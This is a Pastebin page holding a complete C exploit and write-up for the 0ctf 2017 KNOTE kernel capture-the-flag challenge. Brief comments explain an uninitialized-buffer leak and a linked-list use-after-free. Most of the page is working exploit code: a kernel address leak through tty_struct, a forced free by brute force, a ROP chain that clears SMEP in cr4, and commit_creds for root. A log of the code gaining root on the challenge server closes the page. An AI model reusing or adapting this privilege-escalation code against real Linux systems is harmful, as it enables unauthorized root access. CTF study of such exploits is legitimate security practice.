daily pastebin goal
68%
SHARE
TWEET

0ctf 2017 KNOTE

bata_24 Mar 19th, 2017 (edited) 1,197 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // TO BUILD AT LOCAL
  2. // gcc -o exp -static -nostdlib -masm=intel exp.c && gzip -kf exp && base64 exp.gz
  3. // TO EXECUTE AT REMOTE
  4. // cat a | base64 -d | gunzip - > exp && chmod +x exp && ./exp
  5.  
  6. // * the reliability of this code is not so good. try several times.
  7.  
  8. /*
  9. KNOTE (687pts)
  10.  
  11. Summary
  12.   The bug 1: Reference uninitialized buffer
  13.     add_note() allocates 1024 bytes buffer without zero clear.
  14.     This causes kernel address leak by read_note() if the buffer was used as another object in the past.
  15.  
  16.   The bug 2: Linked list bug
  17.     Each of the notes is managed by linked list, but the behavior of adding note to the linked list seems very strange.
  18.     Adding note that the epoch are older than existing one, the linked list will be corrupted.
  19.     If deleting that note, it will cause Use-After-Free. This bug is in add_note() and edit_note_time().
  20.  
  21.   signed int __fastcall edit_note_time(_BYTE *user_addr) {
  22.         ...
  23.        
  24.         q = hash_table[hash_table_idx];
  25.         if ( q )
  26.         {
  27.           while ( 1 )
  28.           {
  29.             if ( (LIST_HEAD *)new_epoch < q[-2].prev )         // new_epoch < CONTAINING_RECORD(q, NOTE, list_head)->epoch
  30.             {
  31.               // insert note to the list
  32.               prev = q->prev;
  33.               new_note_list_head = &new_note->list_head;
  34.               new_note->list_head.next = q;
  35.               new_note->list_head.prev = prev;
  36.               q->prev = &new_note->list_head;
  37.               new_note->list_head.prev->next = &new_note->list_head;
  38.               next = q->next;
  39.               goto LABEL_16;                                    // this jump is buggy
  40.             }
  41.             if ( !q->next )
  42.               break;
  43.             q = q->next;
  44.           }
  45.          
  46.           // add note to the end of the list
  47.           new_note_list_head = &new_note->list_head;
  48.           next = NULL;
  49.   LABEL_16:
  50.           new_note->list_head.next = next;
  51.           q->next = new_note_list_head;
  52.           new_note->list_head.prev = q;
  53.           new_note_next = new_note->list_head.next;
  54.           if ( new_note_next )
  55.             new_note_next->prev = new_note_list_head;
  56.         }
  57.         else
  58.         {
  59.           new_note->list_head.next = NULL;
  60.           hash_table[hash_table_idx] = &new_note->list_head;
  61.           new_note->list_head.prev = (LIST_HEAD *)&hash_table[hash_table_idx];
  62.         }
  63.  
  64. Solution
  65.   The type named kmalloc-1024 is used by the buffer in this LKM, but also it used by tty_struct.
  66.   To call close(open("/dev/ptmx", ...)) creates tty_struct and initializes it with some values, then frees without clearing it.
  67.   Thereby, add_note() + read_note() leaks kernel addresses even if the environment is enabled kADR + kASLR.
  68.  
  69.   Next, we created Use-After-Free note by editing note q's time + deleting new note.
  70.  
  71.   step1: before
  72.   +-------------+      +-----------+       +-----------+      +-----------+
  73.   |hash_table[0]|      |NOTE q.prev|       |NOTE q     |      |NOTE q.next|
  74.   |hash_table[1]|      |   ...     |       |   ...     |      |   ...     |
  75.   |hash_table[2]|      |LIST_HEAD  |       |LIST_HEAD  |      |LIST_HEAD |
  76.   |hash_table[3]| -+-> |   next    | -+--> |   next    | ---> |   next    |
  77.   |...          |  |   |   prev    |  | +- |   prev    |  +-- |   prev    |
  78.   |hash_table[7]|  |   +-----------+  | |  +-----------+  |   +-----------+
  79.   +-------------+  |                  +-------------------+
  80.                    |                    |
  81.                    +--------------------+
  82.  
  83.   step2: after editing note q's epoch with new_epoch older than the epoch of note q
  84.                                                          +--------------------------+
  85.   +-------------+      +-----------+      +-----------+  |        +-----------+     |   +-----------+
  86.   |hash_table[0]|      |NOTE q.prev|      |NOTE new   |  |        |NOTE q     |     |   |NOTE q.next|
  87.   |hash_table[1]|      |   ...     |      |   ...     |  |        |   ...     |     |   |   ...     |
  88.   |hash_table[2]|      |LIST_HEAD  |      |LIST_HEAD  |  |        |LIST_HEAD  |     |   |LIST_HEAD |
  89.   |hash_table[3]| ---> |   next    | -+-> |   next    | -+  +---> |   next    | -+  +-> |   next    |
  90.   |...          |      |   prev    |  |   |   prev    | ----+  +- |   prev    |  |  +-- |   prev    |
  91.   |hash_table[7]|      +-----------+  |   +-----------+        |  +-----------+  |  |   +-----------+
  92.   +-------------+                     +------------------------+-----------------+--+
  93.  
  94.   step3: after put_note(q) in edit_note_time()
  95.   +-------------+      +-----------+      +-----------+
  96.   |hash_table[0]|      |NOTE q.prev|      |NOTE new   |
  97.   |hash_table[1]|      |   ...     |      |   ...     |
  98.   |hash_table[2]|      |LIST_HEAD  |      |LIST_HEAD  |
  99.   |hash_table[3]| ---> |   next    | -+-> |   next    | -+
  100.   |...          |      |   prev    |  |   |   prev    | -+
  101.   |hash_table[7]|      +-----------+  |   +-----------+  |
  102.   +-------------+                     +------------------+
  103.  
  104.   step4: after delete_note(new)                  
  105.   +-------------+      +-----------+      +----------------+
  106.   |hash_table[0]|      |NOTE q.prev|      |NOTE new(freed) |
  107.   |hash_table[1]|      |   ...     |      |   buffer       | -> kmalloc-1024 (freed)
  108.   |hash_table[2]|      |LIST_HEAD  |      |LIST_HEAD       |
  109.   |hash_table[3]| ---> |   next    | ---> |   next         | -> NULL
  110.   |...          |      |   prev    |      |   prev         | -> NULL
  111.   |hash_table[7]|      +-----------+      +----------------+
  112.   +-------------+                         * "NOTE new" is freed but the linked list still has it. (UAF)
  113.  
  114.   Then, let the kernel use the buffer which was held by this note for another tty_struct.
  115.  
  116.   step5: after allocating tty_struct
  117.   +-------------+      +-----------+      +----------------+
  118.   |hash_table[0]|      |NOTE q.prev|      |SOME_OBJECT     |
  119.   |hash_table[1]|      |   ...     |      |   buffer       | -> kmalloc-1024 (reused as tty_struct)
  120.   |hash_table[2]|      |LIST_HEAD  |      |   ...          |
  121.   |hash_table[3]| ---> |   next    | ---> |                |
  122.   |...          |      |   prev    |      |                |
  123.   |hash_table[7]|      +-----------+      +----------------+
  124.   +-------------+                         * "NOTE new" is reused as SOME_OBJECT, but the buffer pointer is not cleared.
  125.  
  126.   Since the linked-list still has the pointer of freed note which has the kmalloc-1024 buffer,
  127.   we can force to free this kmalloc-1024 buffer with address-brute-force.
  128.   * We cannot know the address of the buffer precisely, but first leak shows us the address near the buffer.
  129.  
  130.   step6: after force freeing the buffer with address-brute-force
  131.   +-------------+      +-----------+           +------------------+
  132.   |hash_table[0]|      |NOTE q.prev|           |SOME_OBJECT(freed)|
  133.   |hash_table[1]|      |   ...     |           |   buffer         | -> kmalloc-1024 (reused as tty_struct) (freed)
  134.   |hash_table[2]|      |LIST_HEAD  |           |   ...            |
  135.   |hash_table[3]| ---> |   next    | -> NULL   |                  |
  136.   |...          |      |   prev    |           |                  |
  137.   |hash_table[7]|      +-----------+           +------------------+
  138.   +-------------+
  139.  
  140.   Since the SLOT mechanism prevents freeing invalid address (=address not held as note buffer), so this technique is valid.
  141.  
  142.   Then, add_note() re-allocates this kmalloc-1024 buffer, and overwrites it.
  143.   The tty_struct has the function pointer table, finally we can get control through ioctl().
  144.  
  145.   * Note that two UAF buffers are allocated in this exploit to increase the probability of success, but this is not essential.
  146.     After creating and testing two UAF buffers, we just got RIP, so we just left it.
  147.  
  148.   Once we got RIP, Stack Pivot to the userland and ROP helped us.
  149.   This environment is enabled SMEP, but we can avoid it with clearing 20th bit of cr4 register.
  150. */
  151.  
  152. #define O_RDONLY 0x0000
  153. #define O_NOCTTY 0x0400
  154. #define O_RDWR   0x0002
  155.  
  156. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  157. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  158. _commit_creds commit_creds;
  159. _prepare_kernel_cred prepare_kernel_cred;
  160.  
  161. void get_root(void) {
  162.     commit_creds( prepare_kernel_cred(0) );
  163.     // revert register, and return original kernel code
  164.     __asm__("mov rax, -1");
  165.     __asm__("mov rbx, r15");
  166.     __asm__("mov rcx, 0x602860");
  167.     __asm__("mov rdx, 0xbaadbaad");
  168.     __asm__("mov rsi, 0x602000");
  169.     __asm__("mov rdi, r15");
  170.     __asm__("mov rbp, r13");
  171.     __asm__("mov rsp, r13");
  172.     __asm__("sub rsp, 0xb0");
  173.     __asm__("mov r8, 0x0");
  174.     __asm__("mov r9, 0x0");
  175.     __asm__("mov r10, 0x0");
  176.     __asm__("mov r12, 0x602000");
  177.     __asm__("ret");
  178. }
  179.  
  180. void *rsi_points;
  181. void *rax_points;
  182.  
  183. unsigned char buffer[1024];
  184. char scratch[1024];
  185. void *tty_operations[0x3000]; // func_ptr_table and fake_stack
  186.  
  187. //////////////////////////////////////////
  188. // system call. when num of args <= 3, you only need "set rax + syscall".
  189.  
  190. void exit(int e) {
  191.   __asm__("mov rax, 60");
  192.   __asm__("syscall");
  193.   __builtin_unreachable();
  194. }
  195.  
  196. int read(int fd, char* buf, int size) {
  197.   __asm__("mov rax, 0");
  198.   __asm__("syscall");
  199. }
  200.  
  201. int write(int fd, char* buf, int size) {
  202.   __asm__("mov rax, 1");
  203.   __asm__("syscall");
  204. }
  205.  
  206. int open(char *pathname, int flags) {
  207.   __asm__("mov rax, 2");
  208.   __asm__("syscall");
  209. }
  210.  
  211. int close(int fd) {
  212.   __asm__("mov rax, 3");
  213.   __asm__("syscall");
  214. }
  215.  
  216. void setuid(int uid) { // maybe setuid/getuid is not needed
  217.   __asm__("mov rax, 105");
  218.   __asm__("syscall");
  219. }
  220.  
  221. int getuid(void) {
  222.   __asm__("mov rax, 102");
  223.   __asm__("syscall");
  224. }
  225.  
  226. int ioctl(int fd, unsigned long ioctl_num, void* ioctl_param) {
  227.   __asm__("mov rax, 16");
  228.   __asm__("syscall");
  229. }
  230.  
  231. int execve(char *filename, char *const argv[], char *const envp[]) {
  232.   __asm__("mov rax, 59");
  233.   __asm__("syscall");
  234. }
  235.  
  236. //////////////////////////////////////////
  237. // for debug
  238. void bin_dump(unsigned char* tb, int len) {
  239.   char sym[] = "0123456789abcdef";
  240.   int i;
  241.   if (tb != 0) {
  242.     for (i=0; i<len; i++) {
  243.       write(1, &sym[(tb[i]&0xf0) >> 4], 1);
  244.       write(1, &sym[(tb[i]&0x0f) >> 0], 1);
  245.     }
  246.   }
  247.   write(1, "\n", 1);
  248. }
  249.  
  250. void num_dump_(unsigned long tb, int newline) { // for dump register/int/long
  251.   char sym[] = "0123456789abcdef";
  252.   int i;
  253.   for (i=0; i<16; i++) {
  254.     int shift = 4*(15-i);
  255.     write(1, &sym[(tb & ((unsigned long)0xf << shift)) >> shift], 1);
  256.   }
  257.   if (newline == 1) {
  258.     write(1, "\n", 1);
  259.   }
  260. }
  261.  
  262. void num_dump(unsigned long tb) {
  263.   num_dump_(tb, 1);
  264. }
  265.  
  266. void _puts_(unsigned char* tb, int newline) {
  267.   int cnt = 0;
  268.   while (tb[cnt++] != '\0');
  269.   write(1, tb, cnt);
  270.   if (newline == 1) {
  271.     write(1, "\n", 1);
  272.   }
  273. }
  274.  
  275. void _puts(unsigned char* tb) {
  276.   _puts_(tb, 1);
  277. }
  278.  
  279. void dbg(unsigned char* tag, unsigned long val) {
  280.   _puts_(tag, 0); _puts_(" : ", 0); num_dump(val);
  281. }
  282.  
  283. int _memcmp(unsigned char* a, unsigned char* b, int len) {
  284.   int i;
  285.   for (i=0; i<len; i++) {
  286.     if (a[i] > b[i]) {
  287.       return 1;
  288.     } else if (a[i] < b[i]) {
  289.       return -1;
  290.     }
  291.   }
  292.   return 0;
  293. }
  294.  
  295. void _memcpy(unsigned char* a, unsigned char* b, int len) {
  296.   int i;
  297.   for (i=0; i<len; i++) {
  298.     a[i] = b[i];
  299.   }
  300. }
  301.  
  302. void _memset(unsigned char* a, unsigned char c, int len) {
  303.   int i;
  304.   for (i=0; i<len; i++) {
  305.     a[i] = c;
  306.   }
  307. }
  308.  
  309. //////////////////////////////////////////
  310. struct EPOCH {
  311.   unsigned long  year;
  312.   unsigned long  month;
  313.   unsigned long  day;
  314.   unsigned long  hour;
  315.   unsigned long  minute;
  316.   unsigned long  second;
  317. };
  318.  
  319. struct ADD {
  320.   struct EPOCH   epoch_seed;
  321.   unsigned long  note_src_size;
  322.   unsigned char* note_src;
  323. };
  324.  
  325. struct DELETE {
  326.   unsigned long  noteid;
  327.   struct EPOCH   epoch_seed;
  328. };
  329.  
  330. struct READ {
  331.   unsigned long  noteid;
  332.   struct EPOCH   epoch_seed;
  333.   unsigned long  user_buffer_size;
  334.   unsigned char* user_buffer;
  335. };
  336.  
  337. struct EDIT_BUF {
  338.   unsigned long  edit_type;
  339.   unsigned long  noteid;
  340.   struct EPOCH   epoch_seed;
  341.   unsigned long  note_src_size;
  342.   unsigned char* note_src;
  343. };
  344.  
  345. struct EDIT_TIME {
  346.   unsigned long  edit_type;
  347.   unsigned long  noteid;
  348.   struct EPOCH   epoch_seed;
  349.   struct EPOCH   new_epoch_seed;
  350. };
  351.  
  352. // add
  353. unsigned long add_note_(int fd, struct ADD* st, unsigned long size) {
  354.   st->note_src_size = size;
  355.   st->note_src = buffer;
  356.   ioctl(fd, 0x1337, st);
  357.   return *(unsigned long*)st; // first 8 byte has result of add_note()
  358. }
  359.  
  360. unsigned long add_note(int fd, struct ADD* st) {
  361.   return add_note_(fd, st, 1024);
  362. }
  363.  
  364. // delete
  365. int delete_note(int fd, struct DELETE* st) {
  366.   ioctl(fd, 0x1338, st);
  367. }
  368.  
  369. // read
  370. void read_note_(int fd, struct READ* st, unsigned long size) {
  371.   st->user_buffer_size = size;
  372.   st->user_buffer = buffer;
  373.   ioctl(fd, 0x1339, st);
  374. }
  375.  
  376. void read_note(int fd, struct READ* st) {
  377.   read_note_(fd, st, 1024);
  378. }
  379.  
  380. // edit_note_buf
  381. int edit_note_buf_(int fd, struct EDIT_BUF* st, unsigned long size) {
  382.   st->edit_type = 0x1EE12EE23EE34EE4;
  383.   st->note_src_size = size;
  384.   st->note_src = buffer;
  385.   ioctl(fd, 0x133A, st);
  386. }
  387.  
  388. int edit_note_buf(int fd, struct EDIT_BUF* st) {
  389.   edit_note_buf_(fd, st, 1024);
  390. }
  391.  
  392. // edit_note_time
  393. int edit_note_time(int fd, struct EDIT_TIME* st) {
  394.   st->edit_type = 0xA11AB11BC11CD11D;
  395.   ioctl(fd, 0x133A, st);
  396. }
  397.  
  398. // support
  399. void set_epoch(struct EPOCH* e, int year, int month, int day, int hour, int minute, int second) {
  400.   e->year = year;
  401.   e->month = month;
  402.   e->day = day;
  403.   e->hour = hour;
  404.   e->minute = minute;
  405.   e->second = second;
  406. }
  407.  
  408. void shell(void) {
  409.   char *args[] = { "/bin/sh", 0 };
  410.   while (1==1) {
  411.     setuid(0);
  412.     if (getuid() == 0)
  413.       execve("/bin/sh", args, 0);
  414.   }
  415. }
  416.  
  417. //////////////////////////////////////////
  418.  
  419. void _start(void) {
  420.   struct ADD a;
  421.   struct DELETE d;
  422.   struct READ r;
  423.   struct EDIT_BUF eb;
  424.   struct EDIT_TIME et;
  425.   char c[1];
  426.   unsigned long leak, leak2;
  427.   unsigned long i;
  428.  
  429.   int dev = open("/dev/knote", O_RDONLY);
  430.   if (dev <= 2) { exit(0); }
  431.  
  432.  
  433.  
  434.   ////////////////////////////////////////
  435.   _puts("[+] kernel address leak");
  436.   ////////////////////////////////////////
  437.   do {
  438.     // alloc kmalloc-1024
  439.     close(open("/dev/ptmx", O_RDWR | O_NOCTTY));
  440.     // add
  441.     set_epoch(&a.epoch_seed, 2017, 3, 18, 0, 0, 15);
  442.     unsigned long note_id0 = add_note_(dev, &a, 0); // data size is zero
  443.     // read
  444.     set_epoch(&r.epoch_seed, 2017, 3, 18, 0, 0, 15);
  445.     r.noteid = note_id0;
  446.     read_note(dev, &r);
  447.     // check
  448.     leak = *((unsigned long*)&buffer[0x278]);
  449.     leak2 = *((unsigned long*)&buffer[0x10]);
  450.   } while (leak == 0);
  451.   dbg("  leak", leak);
  452.   dbg("  leak2", leak2);
  453.   // resolve offsets
  454.   unsigned long kernel_base = leak - 0x50B1D0; // assume offset 0 is 0xFFFFFFFF81000000
  455.   unsigned long bp = kernel_base + 0x50CE2D;
  456.   prepare_kernel_cred = (_prepare_kernel_cred)(kernel_base + 0xa5930);
  457.   commit_creds = (_commit_creds)(kernel_base + 0xa5540);
  458.   // for debug
  459.   dbg("  break_point", bp);
  460.   dbg("  kernel_base", kernel_base);
  461.   dbg("  commit_creds", (unsigned long)commit_creds);
  462.   dbg("  prepare_kernel_cred", (unsigned long)prepare_kernel_cred);
  463.  
  464.  
  465.  
  466.   ////////////////////////////////////////
  467.   _puts("[+] create UAF buffer x2");
  468.   ////////////////////////////////////////
  469.   /*
  470.   pattern of idx=5
  471.   2017, 3, 18, 0, 0, 0
  472.   2017, 3, 18, 0, 0, 8
  473.   2017, 3, 18, 0, 0, 16
  474.   2017, 3, 18, 0, 0, 21
  475.   2017, 3, 18, 0, 0, 29
  476.   2017, 3, 18, 0, 0, 42
  477.   2017, 3, 18, 0, 0, 50
  478.   2017, 3, 18, 0, 0, 55
  479.  
  480.   pattern of idx=6
  481.   2017, 3, 18, 0, 0, 3
  482.   2017, 3, 18, 0, 0, 11
  483.   2017, 3, 18, 0, 0, 24
  484.   2017, 3, 18, 0, 0, 32
  485.   2017, 3, 18, 0, 0, 37
  486.   2017, 3, 18, 0, 0, 45
  487.   2017, 3, 18, 0, 0, 53
  488.   2017, 3, 18, 0, 0, 58
  489.   */
  490.  
  491.   ////////// create UAF1
  492.   // add 16
  493.   set_epoch(&a.epoch_seed, 2017, 3, 18, 0, 0, 16);
  494.   add_note(dev, &a);
  495.   // add 29
  496.   set_epoch(&a.epoch_seed, 2017, 3, 18, 0, 0, 29);
  497.   unsigned long note_id1 = add_note(dev, &a);
  498.   // add 42
  499.   set_epoch(&a.epoch_seed, 2017, 3, 18, 0, 0, 42);
  500.   add_note(dev, &a);
  501.   // edit_time (29->21, linking is broken)
  502.   set_epoch(&et.epoch_seed, 2017, 3, 18, 0, 0, 29);
  503.   set_epoch(&et.new_epoch_seed, 2017, 3, 18, 0, 0, 21);
  504.   et.noteid = note_id1;
  505.   edit_note_time(dev, &et);
  506.   // delete 21 (trigger UAF)
  507.   set_epoch(&d.epoch_seed, 2017, 3, 18, 0, 0, 21);
  508.   d.noteid = note_id1;
  509.   delete_note(dev, &d);
  510.  
  511.   ////////// add (protect UAF1)
  512.   set_epoch(&a.epoch_seed, 2017, 3, 18, 0, 0, 2);
  513.   unsigned long note_id2 = add_note(dev, &a);
  514.  
  515.   ////////// create UAF2
  516.   // add 24
  517.   set_epoch(&a.epoch_seed, 2017, 3, 18, 0, 0, 24);
  518.   add_note(dev, &a);
  519.   // add 37
  520.   set_epoch(&a.epoch_seed, 2017, 3, 18, 0, 0, 37);
  521.   unsigned long note_id3 = add_note(dev, &a);
  522.   // add 45
  523.   set_epoch(&a.epoch_seed, 2017, 3, 18, 0, 0, 45);
  524.   add_note(dev, &a);
  525.   // edit_time (37->32, linking is broken)
  526.   set_epoch(&et.epoch_seed, 2017, 3, 18, 0, 0, 37);
  527.   set_epoch(&et.new_epoch_seed, 2017, 3, 18, 0, 0, 32);
  528.   et.noteid = note_id3;
  529.   edit_note_time(dev, &et);
  530.   // delete 32 (trigger UAF)
  531.   set_epoch(&d.epoch_seed, 2017, 3, 18, 0, 0, 32);
  532.   d.noteid = note_id3;
  533.   delete_note(dev, &d);
  534.  
  535.   ////////// delete (cancel protect UAF1)
  536.   set_epoch(&d.epoch_seed, 2017, 3, 18, 0, 0, 2);
  537.   d.noteid = note_id2;
  538.   delete_note(dev, &d);
  539.  
  540.  
  541.  
  542.   ////////////////////////////////////////
  543.   _puts("[+] alloc tty_struct and force free");
  544.   ////////////////////////////////////////
  545.   // alloc kmalloc-1024
  546.   int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);
  547.   _puts("  alloc kmalloc-1024");
  548.  
  549.   // try free many times (with lower offset brute-force)
  550.   leak2 &= 0xffffffffff000000;
  551.   set_epoch(&d.epoch_seed, 2017, 3, 18, 0, 0, 21);
  552.   for (i=0; i<0x1000000; i+=8) { d.noteid = leak2 + i; delete_note(dev, &d); }
  553.   set_epoch(&d.epoch_seed, 2017, 3, 18, 0, 0, 32);
  554.   for (i=0; i<0x1000000; i+=8) { d.noteid = leak2 + i; delete_note(dev, &d); }
  555.   _puts("  finish 0x1000000/8 times free, so maybe tty_struct is force freed");
  556.  
  557.  
  558.  
  559.   ////////////////////////////////////////
  560.   _puts("[+] overwrite tty_struct");
  561.   ////////////////////////////////////////
  562.   /*
  563.   --- struct definition ---
  564.   struct tty_struct {
  565.     int magic;
  566.     struct kref kref;
  567.     struct device *dev;
  568.     struct tty_driver *driver;
  569.     const struct tty_operations *ops;
  570.     ...
  571.     struct tty_bufhead buf; // Locked internally
  572.     ...
  573.   };
  574.  
  575.   --- ROP gadget ---
  576.   0xffffffff818525b9: mov esp, ecx ; jmp qword [rsi] ;  (1 found)
  577.   0xffffffff8180001c: ret  ;  (1 found)
  578.   0xffffffff81844dde: retn 0x2080 ;  (1 found)
  579.   0xffffffff8182f1f1: push rbp ; mov rbp, rsp ; call qword [rax] ;  (1 found)
  580.   0xffffffff81807fc1: pop rax ; or byte [rbx+0x5D], bl ; ret  ;  (1 found)
  581.   0xffffffff81804d6f: pop r12 ; pop r13 ; pop rbp ; ret  ;  (1 found)
  582.   0xffffffff8180001a: pop rdi ; pop rbp ; ret  ;  (1 found)
  583.   0xffffffff8101ae00: mov cr4, edi ; pop rbp ; ret  ;  (1 found)
  584.   */
  585.  
  586.   // overwrite func_ptr and called from kernel
  587.   tty_operations[0x60/8] = (void*)(kernel_base + 0x8525b9); // mov esp, ecx; jmp [rsi];
  588.   rsi_points = (void*)(kernel_base + 0x80001c); // ret;
  589.   // fake stack. keep rbp and modify cr4 (disable SMEP)
  590.   tty_operations[0x00/8] = (void*)(kernel_base + 0x844dde); // retn 0x2080;
  591.   tty_operations[0x08/8] = (void*)(kernel_base + 0x80001c); // ret;
  592.   tty_operations[0x2090/8] = (void*)(kernel_base + 0x807fc1); // pop rax;
  593.   tty_operations[0x2098/8] = (void*)(&rax_points);
  594.   tty_operations[0x20a0/8] = (void*)(kernel_base + 0x82f1f1); // push rbp ; call [rax];
  595.   tty_operations[0x20a8/8] = (void*)(0xdeadbeef);
  596.   tty_operations[0x20b0/8] = (void*)(kernel_base + 0x80001a); // pop rdi; pop;
  597.   tty_operations[0x20b8/8] = (void*)(0x006f0); // new_cr4
  598.   tty_operations[0x20c0/8] = (void*)(0xdeadbeef);
  599.   tty_operations[0x20c8/8] = (void*)(kernel_base + 0x01ae00); // mov cr4, new_cr4; pop;
  600.   tty_operations[0x20d0/8] = (void*)(0xdeadbeef);
  601.   tty_operations[0x20d8/8] = (void*)get_root;
  602.   rax_points = (void*)(kernel_base + 0x804d6f); // pppret
  603.  
  604.   // add note (consume kmalloc-1024)
  605.   for (i=0;i<2;i++) {
  606.     *(unsigned long*)(&buffer[0x00]) = 0xdeadbeef00005401u; // kref||TTY_MAGIC
  607.     *(unsigned long*)(&buffer[0x08]) = (unsigned long)scratch; // dev
  608.     *(unsigned long*)(&buffer[0x10]) = (unsigned long)scratch; // driver
  609.     *(unsigned long*)(&buffer[0x18]) = (unsigned long)tty_operations; //ops
  610.     set_epoch(&a.epoch_seed, 2017, 3, 18, 0, 0, 1);
  611.     add_note(dev, &a);
  612.   }
  613.  
  614.   ////////////////////////////////////////
  615.   _puts("[+] trigger");
  616.   ////////////////////////////////////////
  617.   //_puts_("debugger?", 0); read(0, c, 1);
  618.   ioctl(ptmx, (unsigned long)&rsi_points, (void*)0xbaadbaad);
  619.   shell();
  620.  
  621.   exit(0);
  622.   __builtin_unreachable();
  623. }
  624.  
  625. /*
  626. root@Ubuntu64:~/ctf/0ctf-2017/KNOTE/release# nc 202.120.7.195 13134
  627. dP     dP 888888ba   .88888.  d888888P  88888888b
  628. 88   .d8' 88    `8b d8'   `8b    88     88
  629. 88aaa8P'  88     88 88     88    88    a88aaaa
  630. 88   `8b. 88     88 88     88    88     88
  631. 88     88 88     88 Y8.   .8P    88     88
  632. dP     dP dP     dP  `8888P'     dP     88888888P
  633. oooooooooooooooooooooooooooooooooooooooooooooooooo
  634.  
  635. / $ cd /home/note
  636. cd /home/note
  637. ~ $ cat > a <<EEEOF
  638. cat > a <<EEEOF
  639.  
  640. ...(snip)
  641.  
  642. > EEEOF
  643. EEEOF
  644. ~ $ cat a | base64 -d | gunzip - > exp && chmod +x exp && ./exp
  645. cat a | base64 -d | gunzip - > exp && chmod +x exp && ./exp
  646. [+] kernel address leak
  647.   leak : ffffffffbdd0b1d0
  648.   leak2 : ffff8ab5c1016480
  649.   break_point : ffffffffbdd0ce2d
  650.   kernel_base : ffffffffbd800000
  651.   commit_creds : ffffffffbd8a5540
  652.   prepare_kernel_cred : ffffffffbd8a5930
  653. [+] create UAF-ed buffer x2
  654. [+] alloc tty_struct and force free
  655.   alloc kmalloc-1024
  656.   finish 0x1000000/8 times free, so maybe tty_struct is force freed
  657. [+] overwrite tty_struct
  658. [+] trigger
  659. /home/note # id
  660. id
  661. uid=0(root) gid=0(root)
  662. /home/note # ls -l /root
  663. ls -l /root
  664. total 8
  665. -r--------    1 root     root            71 Mar 18 02:21 flag
  666. -r--------    1 root     root           357 Mar 18 02:21 signature
  667. /home/note # cat /root/signature
  668. cat /root/signature
  669. dP     dP 888888ba   .88888.  d888888P  88888888b
  670. 88   .d8' 88    `8b d8'   `8b    88     88
  671. 88aaa8P'  88     88 88     88    88    a88aaaa
  672. 88   `8b. 88     88 88     88    88     88
  673. 88     88 88     88 Y8.   .8P    88     88
  674. dP     dP dP     dP  `8888P'     dP     88888888P
  675. oooooooooooooooooooooooooooooooooooooooooooooooooo
  676. /home/note # cat /root/flag
  677. cat /root/flag
  678. flag{iK3jFtEDfcj2uMU4TONxA6Ye8ZEovb0+CmfhnzA/2VWNGFw97xSRy7aSfLdiV1wD}
  679. /home/note #
  680. */
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top